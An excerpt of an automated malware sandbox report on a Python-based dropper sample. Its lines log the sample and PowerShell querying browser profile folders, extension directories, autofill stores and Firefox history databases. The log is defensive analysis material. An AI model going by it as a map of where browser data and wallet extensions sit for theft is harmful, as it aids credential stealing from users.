Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_CA VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_GB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_US VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\21262822-6a68-4458-bd75-71865ae821a7 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ms VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_CN VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\permissions.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hu VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\id VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ka VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\it VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_TW VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zu VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\iw VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kk VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ja VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ka VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kk VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\km VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ms VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\my VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ne VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
